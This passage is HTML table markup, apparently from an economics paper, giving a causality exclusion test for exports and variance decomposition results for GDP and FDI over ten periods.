style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:74.86%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Dependent variable: DLNEXPORT</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Excluded</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Chi-sq</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Df</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob.</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNGDP</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.932625</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.3342</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNFDI</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.880689</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.3480</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">All</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.670292</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.4338</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Source: Own computation</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->11<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: <strong>Variance decomposition.</strong></span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:100.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Variance Decomposition of DLNGDP:</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Period</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">S.E.</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNGDP</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNFDI</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNEXPORT</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.091625</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">100.0000</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.000000</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.000000</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.130342</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">89.71753</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.607044</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">8.675421</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.166786</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">73.12850</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.006568</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">23.86493</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.204285</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">57.03749</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.553495</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">39.40902</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.242184</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">44.16683</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.503061</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">52.33010</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.278987</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">34.69383</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.185357</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">62.12082</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.313290</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">27.96864</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2.800483</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">69.23088</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.344064</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">23.27841</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2.441740</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">74.27985</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.370689</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">20.05490</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2.144156</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">77.80094</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">10</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.392917</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">17.88569</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.915595</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">80.19872</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:55.96%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Variance Decomposition of DLNFDI:</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Period</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">S.E.</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNGDP</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNFDI</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNEXPORT</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.568086</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.005582</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">99.99442</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.000000</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.795079</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.502389</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">99.13804</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.359567</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.862185</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.441005</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">97.87947</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.679525</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.886188</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2.586248</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">96.65779</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.755958</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.898877</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.705438</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">95.54101</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.753553</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.910664</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">4.639365</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">94.36695</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.993682</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.925468</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5.312028</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">92.94575</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.742225</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.944577</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5.715998</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">91.18224</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.101766</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.967788</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5.890455</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span 